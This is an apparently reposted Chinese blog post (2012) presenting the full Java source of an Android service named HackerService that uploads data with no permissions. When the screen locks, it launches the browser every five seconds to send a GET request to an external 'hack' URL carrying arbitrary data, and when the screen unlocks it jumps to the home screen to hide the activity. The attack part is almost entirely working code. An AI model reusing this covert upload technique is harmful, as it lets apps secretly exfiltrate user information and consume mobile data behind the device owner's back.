拋磚引玉之誰動了我的流量(0權(quán)限上傳數(shù)據(jù))
作者: 來源: 發(fā)布時間:2012-1-14 10:40:08 點擊:
最后,就是關鍵部分,服務的實現(xiàn)
1 package org.igeek.hack.service;
2
3 import java.util.Random;
4 import android.app.KeyguardManager;
5 import android.app.Service;
6 import android.content.BroadcastReceiver;
7 import android.content.Context;
8 import android.content.Intent;
9 import android.content.IntentFilter;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.os.IBinder;
13 import android.util.Log;
14
15 /**
16 *
17 * @author 作者 E-mail:hangxin1940@gmail.com
18 * @version 創(chuàng)建時間:2012-01-13 下午10:42:11
19 * 類說明
20 */
21 public class HackerService extends Service {
22 private ScreenOnBroadcastReciver soReciver;
23 private ScreenOFFBroadcastReciver sfReciver;
24 private Handler handler;
25
26 final static String LOG_TAG="hack";
27 KeyguardManager keyguardManager;
28 Intent it;
29
30 //GET提交地址
31 final String HACK_URL="http://www.igeek.org/hack?info=";
32
33
34
35 private Runnable r=new Runnable() {
36
37 @Override
38 public void run() {
39
40
41 //如果是鎖屏狀態(tài)
42 if(keyguardManager.inKeyguardRestrictedInputMode()){
43
44 //GET上傳,內(nèi)容隨你
45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
46
47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
48 Uri uri=Uri.parse(HACK_URL+hackInfo);
49 it.setData(uri);
50 startActivity(it);
51 Log.i(LOG_TAG,"提交數(shù)據(jù)->"+HACK_URL+hackInfo);
52
53 //每隔5秒,執(zhí)行一次上傳
54 handler.postDelayed(r, 5000);
55 }
56 }
57 };
58
59
60
61 @Override
62 public void onStart(Intent intent, int startId) {
63 super.onStart(intent, startId);
64
65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
66 it=new Intent(Intent.ACTION_VIEW);
67
68 handler=new Handler();
69
70 Log.i(LOG_TAG, "開機完成,注冊廣播接收者");
71 soReciver=new ScreenOnBroadcastReciver();
72 sfReciver=new ScreenOFFBroadcastReciver();
73
74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");
75 registerReceiver(soReciver, onIntentFilter);
76
77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");
78 registerReceiver(sfReciver, offIntentFilter);
79 }
80
81
82 @Override
83 public IBinder onBind(Intent intent) {
84 return null;
85 }
86
87 /**
88 * 解鎖廣播接收者
89 * @author hang
90 *
91 */
92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
93
94 @Override
95 public void onReceive(Context context, Intent intent) {
96
97 Log.i(LOG_TAG, "屏幕解開");
98 handler.removeCallbacks(r);
99 intent.setAction(Intent.ACTION_MAIN);
100 intent.addCategory(Intent.CATEGORY_HOME);
101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
102
103 Log.i(LOG_TAG, "轉(zhuǎn)向HOME");
104 startActivity(intent);
105
106 }
107
108 }
109
110 /**
111 * 鎖屏廣播接收者
112 * @author hang
113 *
114 */
115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
116
117 @Override
118 public void onReceive(final Context context, Intent intent) {
119
120
121
122 Log.i(LOG_TAG, "屏幕鎖住");
123
124 //500ms后開始執(zhí)行上傳數(shù)據(jù)
125 handler.postDelayed(r, 500);
126 }
127
128 }
129 }
上一篇:20 個很有用的 CSS 圖形和圖表技術(shù)和教程 下一篇:
[收藏此文章]